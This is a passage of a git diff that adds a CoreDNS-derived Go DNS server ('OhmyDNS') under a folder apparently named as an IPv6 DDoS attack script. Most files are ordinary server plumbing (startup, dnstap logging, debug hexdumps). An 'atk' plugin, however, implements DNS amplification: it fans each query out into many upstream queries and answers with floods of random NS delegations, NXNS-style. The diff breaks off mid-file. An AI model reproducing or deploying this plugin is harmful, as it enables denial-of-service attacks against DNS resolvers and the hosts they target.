mustLogFatal(fmt.Errorf("extra command line arguments: %s", flag.Args())) + } + + log.SetOutput(os.Stdout) + log.SetFlags(0) // Set to 0 because we're doing our own time, with timezone + + if version { + showVersion() + os.Exit(0) + } + if plugins { + fmt.Println(caddy.DescribePlugins()) + os.Exit(0) + } + + // Get Ohmyfile input + ohmyfile, err := caddy.LoadCaddyfile(serverType) + if err != nil { + mustLogFatal(err) + } + + // Start your engines + instance, err := caddy.Start(ohmyfile) + if err != nil { + mustLogFatal(err) + } + + if !dnsserver.Quiet { + showVersion() + } + + // Twiddle your thumbs + instance.Wait() +} + +// mustLogFatal wraps log.Fatal() in a way that ensures the +// output is always printed to stderr so the user can see it +// if the user is still there, even if the process log was not +// enabled. If this process is an upgrade, however, and the user +// might not be there anymore, this just logs to the process +// log and exits. +func mustLogFatal(args ...interface{}) { + if !caddy.IsUpgrade() { + log.SetOutput(os.Stderr) + } + log.Fatal(args...) +} + +// confLoader loads the Caddyfile using the -conf flag. +func confLoader(serverType string) (caddy.Input, error) { + if conf == "" { + return nil, nil + } + + if conf == "stdin" { + return caddy.CaddyfileFromPipe(os.Stdin, serverType) + } + + contents, err := os.ReadFile(filepath.Clean(conf)) + if err != nil { + return nil, err + } + return caddy.CaddyfileInput{ + Contents: contents, + Filepath: conf, + ServerTypeName: serverType, + }, nil +} + +// defaultLoader loads the Corefile from the current working directory. +func defaultLoader(serverType string) (caddy.Input, error) { + contents, err := os.ReadFile(caddy.DefaultConfigFile) + if err != nil { + if os.IsNotExist(err) { + return nil, nil + } + return nil, err + } + return caddy.CaddyfileInput{ + Contents: contents, + Filepath: caddy.DefaultConfigFile, + ServerTypeName: serverType, + }, nil +} + +// showVersion prints the version that is starting. +func showVersion() { + fmt.Print(versionString()) + fmt.Print(releaseString()) + if devBuild && gitShortStat != "" { + fmt.Printf("%s\n%s\n", gitShortStat, gitFilesModified) + } +} + +// versionString returns the CoreDNS version as a string. +func versionString() string { + return fmt.Sprintf("%s-%s\n", caddy.AppName, caddy.AppVersion) +} + +// releaseString returns the release information related to CoreDNS version: +// /, , +// e.g., +// linux/amd64, go1.8.3, a6d2d7b5 +func releaseString() string { + return fmt.Sprintf("%s/%s, %s\n", runtime.GOOS, runtime.GOARCH, runtime.Version()) +} + +// setVersion figures out the version information +// based on variables set by -ldflags. +func setVersion() { + // A development build is one that's not at a tag or has uncommitted changes + devBuild = gitTag == "" || gitShortStat != "" + + // Only set the appVersion if -ldflags was used + if gitNearestTag != "" || gitTag != "" { + if devBuild && gitNearestTag != "" { + appVersion = fmt.Sprintf("%s (+%s %s)", strings.TrimPrefix(gitNearestTag, "v"), GitCommit, buildDate) + } else if gitTag != "" { + appVersion = strings.TrimPrefix(gitTag, "v") + } + } +} + +// Flags that control program flow or startup +var ( + conf string + version bool + plugins bool +) + +// Build information obtained with the help of -ldflags +var ( + // nolint + appVersion = "(untracked dev build)" // inferred at startup + devBuild = true // inferred at startup + + buildDate string // date -u + gitTag string // git describe --exact-match HEAD 2> /dev/null + gitNearestTag string // git describe --abbrev=0 --tags HEAD + gitShortStat string // git diff-index --shortstat + gitFilesModified string // git diff-index --name-only HEAD + + // Gitcommit contains the commit where we built CoreDNS from. + GitCommit string +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/version.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/version.go" new file mode 100644 index 0000000..904fcae --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/version.go" @@ -0,0 +1,7 @@ +package ohmain + +const ( + OMVersion = "2.0.0" + ohmyName = "OhmyDNS" + serverType = "dns" +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmydns.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmydns.go" new file mode 100644 index 0000000..ef9fe88 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmydns.go" @@ -0,0 +1,12 @@ +package main + +//go:generate go run plugin_gen.go + +import ( + _ "ohmydns2/core/plug" + "ohmydns2/ohmain" +) + +func main() { + ohmain.Run() +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin.cfg" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin.cfg" new file mode 100644 index 0000000..03c93b9 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin.cfg" @@ -0,0 +1,9 @@ +log:log +dnstap:dnstap +debug:debug +prometheus:prometheus +forward:forward +metadata:metadata +whoami:whoami +qname:qname +atk:atk \ No newline at end of file diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atk.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atk.go" new file mode 100644 index 0000000..b5b6ccb --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atk.go" @@ -0,0 +1,127 @@ +package atk + +import ( + "context" + "github.com/miekg/dns" + "github.com/thanhpk/randstr" + "net" + "ohmydns2/plugin/pkg/proxy" + "ohmydns2/plugin/pkg/request" + "strings" +) + +type Atk struct { + proxies []*proxy.Proxy + serveType string + magni int + zoneip4 string + zoneip6 string + ip6NS string + ip4NS string + ip6Addr string + ip4Addr string + target string +} + +func (a Atk) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { + state := request.Request{W: w, Req: r} + // 转发器模式 + if a.serveType == "fdns" { + opt := proxy.Options{ForceTCP: false, PreferUDP: true, HCRecursionDesired: true, HCDomain: "."} + for i := a.magni; i > 0; i-- { + // 向上游发送查询请求 + go func() { + _, _ = a.proxies[0].Connect(ctx, state, opt) + }() + } + return 0, nil + } else { + //权威模式 + msg := new(dns.Msg) + msg.SetReply(r) + msg.Authoritative = true + // 应对0x20 + qname := strings.ToLower(state.QName()) + // 请求的源地址 + switch a.validRequest(qname) { + case 0: + // 放大 + log.Infof("%v 查询 %v, 准备放大", state.IP(), state.Name()) + msg = a.Response(msg, 0) + + case 1: + //观察 + log.Infof("%v 接收到请求: %v ask %v", a.ip6NS, state.IP(), state.Name()) + msg = a.Response(msg, 1) + case -1: + log.Infof("%v 接收到被修改的请求(QnameMini): %v ask %v", a.ip6NS, state.IP(), state.Name()) + msg = a.Response(msg, -1) + case 2: + //其他请求不响应 + log.Infof("%v 意外查询 %v", state.IP(), state.Name()) + return 0, nil + } + + err := w.WriteMsg(msg) + if err != nil { + log.Info(err.Error()) + return dns.RcodeServerFailure, err + } + return 0, nil + } + +} + +func (a Atk) Name() string { + return "atk" +} + +func (a Atk) Response(msg *dns.Msg, iptype int) *dns.Msg { + if iptype == 0 { // 一级放大 + for i := 0; i < a.magni; i++ { + rec := new(dns.NS) + rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS} + rec.Hdr.Name = msg.Question[0].Name + ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip6 + log.Infof("生成NS: %v", ns) + rec.Ns = ns + msg.Ns = append(msg.Ns, rec) + } + } else if iptype == 1 { // 二级放大 + for i := 0; i < a.magni; i++ { + rec := new(dns.NS) + rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS} + rec.Hdr.Name = msg.Question[0].Name + ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip4 + log.Infof("生成NS: %v", ns) + rec.Ns = ns + msg.Ns = append(msg.Ns, rec) + } + } else if iptype == 2 { + //返回NXNS + msg.Rcode = dns.RcodeNameError + //授权记录 + rec := new(dns.NS) + rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS} + rec.Ns = a.ip6NS + msg.Ns = append(msg.Ns, rec) + //胶水记录 + recaddr := new(dns.AAAA) + recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA} + recaddr.AAAA = net.ParseIP(a.ip6Addr) + msg.Extra = append(msg.Extra, recaddr) + } else { + // 特殊请求,返回权威信息 + //授权记录 + rec := new(dns.NS) + rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS} + rec.Ns = a.ip6NS + msg.Ns = append(msg.Ns, rec) + //胶水记录 + recaddr := new(dns.AAAA) + recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA} + recaddr.AAAA = net.ParseIP(a.ip6Addr) + msg.Extra = append(msg.Extra, recaddr) + } + return msg +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil.go" new file mode 100644 index 0000000..b397fb2 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil.go" @@ -0,0 +1,23 @@ +package atk + +import ( + "strings" +) + +func (a Atk) validRequest(qname string) int { + //判断是否为第一阶段目标域名(放大) + if strings.Contains(qname, a.zoneip4) { + if len(strings.Split(qname, ".")) == 5 { + //需要放大 + return 0 + } + // 请求被修改,返回权威信息 + return -1 + } + if strings.Contains(qname, a.zoneip6) { + //需要放大 + return 1 + } + // 均不满足,返回权威信息 + return 2 +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil_test.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil_test.go" new file mode 100644 index 0000000..dfe30b0 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil_test.go" @@ -0,0 +1,55 @@ +package atk + +import "testing" + +func TestAtk_validRequest(t *testing.T) { + type fields struct { + magni int + zoneip4 string + zoneip6 string + ip6NS string + ip4NS string + ip6Addr string + ip4Addr string + } + type args struct { + qname string + } + tests := []struct { + name string + fields fields + args args + want int + }{ + {name: "test1", + fields: fields{ + magni: 10, + zoneip4: "comm.n64.top", + zoneip6: "v6.atk.top", + ip6NS: "ns.n64.top", + ip6Addr: "fe80::", + ip4Addr: "1.2.3.4", + }, + args: args{ + qname: "comm.n64.top", + }, + want: 0, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + a := Atk{ + magni: tt.fields.magni, + zoneip4: tt.fields.zoneip4, + zoneip6: tt.fields.zoneip6, + ip6NS: tt.fields.ip6NS, + ip4NS: tt.fields.ip4NS, + ip6Addr: tt.fields.ip6Addr, + ip4Addr: tt.fields.ip4Addr, + } + if got := a.validRequest(tt.args.qname); got != tt.want { + t.Errorf("validRequest() = %v, want %v", got, tt.want) + } + }) + } +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/setup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/setup.go" new file mode 100644 index 0000000..4446d71 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/setup.go" @@ -0,0 +1,49 @@ +package atk + +import ( + "github.com/coredns/caddy" + "ohmydns2/core/dnsserver" + "ohmydns2/plugin" + log2 "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/proxy" + "strconv" + "time" +) + +func init() { plugin.Register("atk", setup) } + +func setup(c *caddy.Controller) error { + atk := new(Atk) + c.Next() + // domain1 domain2 factor + args := c.RemainingArgs() + // fdns or adns + atk.serveType = args[0] + if atk.serveType == "fdns" { + atk.target = args[1] + p := proxy.NewProxy(atk.target+":53", "dns") + + // 开启代理连接管理 + dur, _ := time.ParseDuration("10s") + p.Start(dur) + atk.proxies = append(atk.proxies, p) + atk.magni, _ = strconv.Atoi(args[2]) + + } else { + atk.zoneip4 = args[1] + atk.ip4NS = args[2] + atk.ip4Addr = args[3] + atk.zoneip6 = args[4] + atk.ip6NS = args[5] + atk.ip6Addr = args[6] + atk.magni, _ = strconv.Atoi(args[7]) + } + + dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { + return atk + }) + + return nil +} + +var log = log2.NewWithPlugin("atk") diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/debug.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/debug.go" new file mode 100644 index 0000000..3bfa348 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/debug.go" @@ -0,0 +1,23 @@ +package debug + +import ( + "ohmydns2/core/dnsserver" + "ohmydns2/plugin" + + "github.com/coredns/caddy" +) + +func init() { plugin.Register("debug", setup) } + +func setup(c *caddy.Controller) error { + config := dnsserver.GetConfig(c) + + for c.Next() { + if c.NextArg() { + return plugin.Error("debug", c.ArgErr()) + } + config.Debug = true + } + + return nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/pcap.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/pcap.go" new file mode 100644 index 0000000..4a86aae --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/pcap.go" @@ -0,0 +1,71 @@ +package debug + +import ( + "bytes" + "fmt" + "ohmydns2/plugin/pkg/log" + + "github.com/miekg/dns" +) + +// Hexdump converts the dns message m to a hex dump Wireshark can import. +// See https://www.wireshark.org/docs/man-pages/text2pcap.html. +// This output looks like this: +// +// 00000 dc bd 01 00 00 01 00 00 00 00 00 01 07 65 78 61 +// 000010 6d 70 6c 65 05 6c 6f 63 61 6c 00 00 01 00 01 00 +// 000020 00 29 10 00 00 00 80 00 00 00 +// 00002a +// +// Hexdump will use log.Debug to write the dump to the log, each line +// is prefixed with 'debug: ' so the data can be easily extracted. +// +// msg will prefix the pcap dump. +func Hexdump(m *dns.Msg, v ...interface{}) { + if !log.D.Value() { + return + } + + buf, _ := m.Pack() + if len(buf) == 0 { + return + } + + out := "\n" + string(hexdump(buf)) + v = append(v, out) + log.Debug(v...) +} + +// Hexdumpf dumps a DNS message as Hexdump, but allows a format string. +func Hexdumpf(m *dns.Msg, format string, v ...interface{}) { + if !log.D.Value() { + return + } + + buf, _ := m.Pack() + if len(buf) == 0 { + return + } + + format += "\n%s" + v = append(v, hexdump(buf)) + log.Debugf(format, v...) +} + +func hexdump(data []byte) []byte { + b := new(bytes.Buffer) + + newline := "" + for i := 0; i < len(data); i++ { + if i%16 == 0 { + fmt.Fprintf(b, "%s%s%06x", newline, prefix, i) + newline = "\n" + } + fmt.Fprintf(b, " %02x", data[i]) + } + fmt.Fprintf(b, "\n%s%06x", prefix, len(data)) + + return b.Bytes() +} + +const prefix = "debug: " diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/dnstap.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/dnstap.go" new file mode 100644 index 0000000..c3598bc --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/dnstap.go" @@ -0,0 +1,60 @@ +package dnstap + +import ( + "context" + "ohmydns2/plugin" + "ohmydns2/plugin/dnstap/msg" + "time" + + tap "github.com/dnstap/golang-dnstap" + "github.com/miekg/dns" +) + +// Dnstap is the dnstap handler. +type Dnstap struct { + Next plugin.Handler + io tapper + + // IncludeRawMessage will include the raw DNS message into the dnstap messages if true. + IncludeRawMessage bool + Identity []byte + Version []byte +} + +// TapMessage sends the message m to the dnstap interface. +func (h Dnstap) TapMessage(m *tap.Message) { + t := tap.Dnstap_MESSAGE + h.io.Dnstap(&tap.Dnstap{Type: &t, Message: m, Identity: h.Identity, Version: h.Version}) +} + +func (h Dnstap) tapQuery(w dns.ResponseWriter, query *dns.Msg, queryTime time.Time) { + q := new(tap.Message) + msg.SetQueryTime(q, queryTime) + msg.SetQueryAddress(q, w.RemoteAddr()) + + if h.IncludeRawMessage { + buf, _ := query.Pack() + q.QueryMessage = buf + } + msg.SetType(q, tap.Message_CLIENT_QUERY) + h.TapMessage(q) +} + +// ServeDNS logs the client query and response to dnstap and passes the dnstap Context. +func (h Dnstap) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { + rw := &ResponseWriter{ + ResponseWriter: w, + Dnstap: h, + query: r, + queryTime: time.Now(), + } + + // The query tap message should be sent before sending the query to the + // forwarder. Otherwise, the tap messages will come out out of order. + h.tapQuery(w, r, rw.queryTime) + + return plugin.NextOrFailure(h.Name(), h.Next, ctx, rw, r) +} + +// Name implements the plugin.Plugin interface. +func (h Dnstap) Name() string { return "dnstap" } diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/encoder.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/encoder.go" new file mode 100644 index 0000000..93d3e73 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/encoder.go" @@ -0,0 +1,40 @@ +package dnstap + +import ( + "io" + "time" + + tap "github.com/dnstap/golang-dnstap" + fs "github.com/farsightsec/golang-framestream" + "google.golang.org/protobuf/proto" +) + +// encoder wraps a golang-framestream.Encoder. +type encoder struct { + fs *fs.Encoder +} + +func newEncoder(w io.Writer, timeout time.Duration) (*encoder, error) { + fs, err := fs.NewEncoder(w, &fs.EncoderOptions{ + ContentType: []byte("protobuf:dnstap.Dnstap"), + Bidirectional: true, + Timeout: timeout, + }) + if err != nil { + return nil, err + } + return &encoder{fs}, nil +} + +func (e *encoder) writeMsg(msg *tap.Dnstap) error { + buf, err := proto.Marshal(msg) + if err != nil { + return err + } + + _, err = e.fs.Write(buf) // n < len(buf) should return an error? + return err +} + +func (e *encoder) flush() error { return e.fs.Flush() } +func (e *encoder) close() error { return e.fs.Close() } diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/io.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/io.go" new file mode 100644 index 0000000..94833ad --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/io.go" @@ -0,0 +1,143 @@ +package dnstap + +import ( + "crypto/tls" + "net" + "sync/atomic" + "time" + + tap "github.com/dnstap/golang-dnstap" +) + +// tapper interface is used in testing to mock the Dnstap method. +type tapper interface { + Dnstap(*tap.Dnstap) +} + +// dio implements the Tapper interface. +type dio struct { + endpoint string + proto string + enc *encoder + queue chan *tap.Dnstap + dropped uint32 + quit chan struct{} + flushTimeout time.Duration + tcpTimeout time.Duration + skipVerify bool +} + +// newIO returns a new and initialized pointer to a dio. +func newIO(proto, endpoint string) *dio { + return &dio{ + endpoint: endpoint, + proto: proto, + queue: make(chan *tap.Dnstap, queueSize), + quit: make(chan struct{}), + flushTimeout: flushTimeout, + tcpTimeout: tcpTimeout, + skipVerify: skipVerify, + } +} + +func (d *dio) dial() error { + var conn net.Conn + var err error + + if d.proto == "tls" { + config := &tls.Config{ + InsecureSkipVerify: d.skipVerify, + } + dialer := &net.Dialer{ + Timeout: d.tcpTimeout, + } + conn, err = tls.DialWithDialer(dialer, "tcp", d.endpoint, config) + if err != nil { + return err + } + } else { + conn, err = net.DialTimeout(d.proto, d.endpoint, d.tcpTimeout) + if err != nil { + return err + } + } + + if tcpConn, ok := conn.(*net.TCPConn); ok { + tcpConn.SetWriteBuffer(tcpWriteBufSize) + tcpConn.SetNoDelay(false) + } + + d.enc, err = newEncoder(conn, d.tcpTimeout) + return err +} + +// Connect connects to the dnstap endpoint. +func (d *dio) connect() error { + err := d.dial() + go d.serve() + return err +} + +// Dnstap enqueues the payload for log. +func (d *dio) Dnstap(payload *tap.Dnstap) { + select { + case d.queue <- payload: + default: + atomic.AddUint32(&d.dropped, 1) + } +} + +// close waits until the I/O routine is finished to return. +func (d *dio) close() { close(d.quit) } + +func (d *dio) write(payload *tap.Dnstap) error { + if d.enc == nil { + atomic.AddUint32(&d.dropped, 1) + return nil + } + if err := d.enc.writeMsg(payload); err != nil { + atomic.AddUint32(&d.dropped, 1) + return err + } + return nil +} + +func (d *dio) serve() { + timeout := time.NewTimer(d.flushTimeout) + defer timeout.Stop() + for { + timeout.Reset(d.flushTimeout) + select { + case <-d.quit: + if d.enc == nil { + return + } + d.enc.flush() + d.enc.close() + return + case payload := <-d.queue: + if err := d.write(payload); err != nil { + d.dial() + } + case <-timeout.C: + if dropped := atomic.SwapUint32(&d.dropped, 0); dropped > 0 { + log.Warningf("Dropped dnstap messages: %d", dropped) + } + if d.enc == nil { + d.dial() + } else { + d.enc.flush() + } + } + } +} + +const ( + tcpWriteBufSize = 1024 * 1024 // there is no good explanation for why this number has this value. + queueSize = 10000 // idem. + + tcpTimeout = 4 * time.Second + flushTimeout = 1 * time.Second + + skipVerify = false // by default, every tls connection is verified to be secure +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/msg/msg.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/msg/msg.go" new file mode 100644 index 0000000..f9d84c4 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/msg/msg.go" @@ -0,0 +1,97 @@ +package msg + +import ( + "fmt" + "net" + "time" + + tap "github.com/dnstap/golang-dnstap" +) + +var ( + protoUDP = tap.SocketProtocol_UDP + protoTCP = tap.SocketProtocol_TCP + familyINET = tap.SocketFamily_INET + familyINET6 = tap.SocketFamily_INET6 +) + +// SetQueryAddress adds the query address to the message. This also sets the SocketFamily and SocketProtocol. +func SetQueryAddress(t *tap.Message, addr net.Addr) error { + t.SocketFamily = &familyINET + switch a := addr.(type) { + case *net.TCPAddr: + t.SocketProtocol = &protoTCP + t.QueryAddress = a.IP + + p := uint32(a.Port) + t.QueryPort = &p + + if a.IP.To4() == nil { + t.SocketFamily = &familyINET6 + } + return nil + case *net.UDPAddr: + t.SocketProtocol = &protoUDP + t.QueryAddress = a.IP + + p := uint32(a.Port) + t.QueryPort = &p + + if a.IP.To4() == nil { + t.SocketFamily = &familyINET6 + } + return nil + default: + return fmt.Errorf("unknown address type: %T", a) + } +} + +// SetResponseAddress the response address to the message. This also sets the SocketFamily and SocketProtocol. +func SetResponseAddress(t *tap.Message, addr net.Addr) error { + t.SocketFamily = &familyINET + switch a := addr.(type) { + case *net.TCPAddr: + t.SocketProtocol = &protoTCP + t.ResponseAddress = a.IP + + p := uint32(a.Port) + t.ResponsePort = &p + + if a.IP.To4() == nil { + t.SocketFamily = &familyINET6 + } + return nil + case *net.UDPAddr: + t.SocketProtocol = &protoUDP + t.ResponseAddress = a.IP + + p := uint32(a.Port) + t.ResponsePort = &p + + if a.IP.To4() == nil { + t.SocketFamily = &familyINET6 + } + return nil + default: + return fmt.Errorf("unknown address type: %T", a) + } +} + +// SetQueryTime sets the time of the query in t. +func SetQueryTime(t *tap.Message, ti time.Time) { + qts := uint64(ti.Unix()) + qtn := uint32(ti.Nanosecond()) + t.QueryTimeSec = &qts + t.QueryTimeNsec = &qtn +} + +// SetResponseTime sets the time of the response in t. +func SetResponseTime(t *tap.Message, ti time.Time) { + rts := uint64(ti.Unix()) + rtn := uint32(ti.Nanosecond()) + t.ResponseTimeSec = &rts + t.ResponseTimeNsec = &rtn +} + +// SetType sets the type in t. +func SetType(t *tap.Message, typ tap.Message_Type) { t.Type = &typ } diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/setup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/setup.go" new file mode 100644 index 0000000..6e81ac1 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/setup.go" @@ -0,0 +1,131 @@ +package dnstap + +import ( + "net/url" + "ohmydns2/core/dnsserver" + "ohmydns2/plugin" + olog "ohmydns2/plugin/pkg/log" + "os" + "strings" + + "github.com/coredns/caddy" +) + +var log = olog.NewWithPlugin("dnstap") + +func init() { plugin.Register("dnstap", setup) } + +func parseConfig(c *caddy.Controller) ([]*Dnstap, error) { + dnstaps := []*Dnstap{} + + for c.Next() { // directive name + d := Dnstap{} + endpoint := "" + + args := c.RemainingArgs() + + if len(args) == 0 { + return nil, c.ArgErr() + } + + endpoint = args[0] + + var dio *dio + if strings.HasPrefix(endpoint, "tls://") { + // remote network endpoint + endpointURL, err := url.Parse(endpoint) + if err != nil { + return nil, c.ArgErr() + } + dio = newIO("tls", endpointURL.Host) + d = Dnstap{io: dio} + } else if strings.HasPrefix(endpoint, "tcp://") { + // remote network endpoint + endpointURL, err := url.Parse(endpoint) + if err != nil { + return nil, c.ArgErr() + } + dio = newIO("tcp", endpointURL.Host) + d = Dnstap{io: dio} + } else { + endpoint = strings.TrimPrefix(endpoint, "unix://") + dio = newIO("unix", endpoint) + d = Dnstap{io: dio} + } + + d.IncludeRawMessage = len(args) == 2 && args[1] == "full" + + hostname, _ := os.Hostname() + d.Identity = []byte(hostname) + d.Version = []byte(caddy.AppName + "-" + caddy.AppVersion) + + for c.NextBlock() { + switch c.Val() { + case "skipverify": + { + dio.skipVerify = true + } + case "identity": + { + if !c.NextArg() { + return nil, c.ArgErr() + } + d.Identity = []byte(c.Val()) + } + case "version": + { + if !c.NextArg() { + return nil, c.ArgErr() + } + d.Version = []byte(c.Val()) + } + } + } + dnstaps = append(dnstaps, &d) + } + return dnstaps, nil +} + +func setup(c *caddy.Controller) error { + dnstaps, err := parseConfig(c) + if err != nil { + return plugin.Error("dnstap", err) + } + + for i := range dnstaps { + dnstap := dnstaps[i] + c.OnStartup(func() error { + if err := dnstap.io.(*dio).connect(); err != nil { + log.Errorf("No connection to dnstap endpoint: %s", err) + } + return nil + }) + + c.OnRestart(func() error { + dnstap.io.(*dio).close() + return nil + }) + + c.OnFinalShutdown(func() error { + dnstap.io.(*dio).close() + return nil + }) + + if i == len(dnstaps)-1 { + // last dnstap plugin in block: point next to next plugin + dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { + dnstap.Next = next + return dnstap + }) + } else { + // not last dnstap plugin in block: point next to next dnstap + nextDnstap := dnstaps[i+1] + dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler { + dnstap.Next = nextDnstap + return dnstap + }) + } + } + + return nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/writer.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/writer.go" new file mode 100644 index 0000000..9278fcc --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/writer.go" @@ -0,0 +1,39 @@ +package dnstap + +import ( + "ohmydns2/plugin/dnstap/msg" + "time" + + tap "github.com/dnstap/golang-dnstap" + 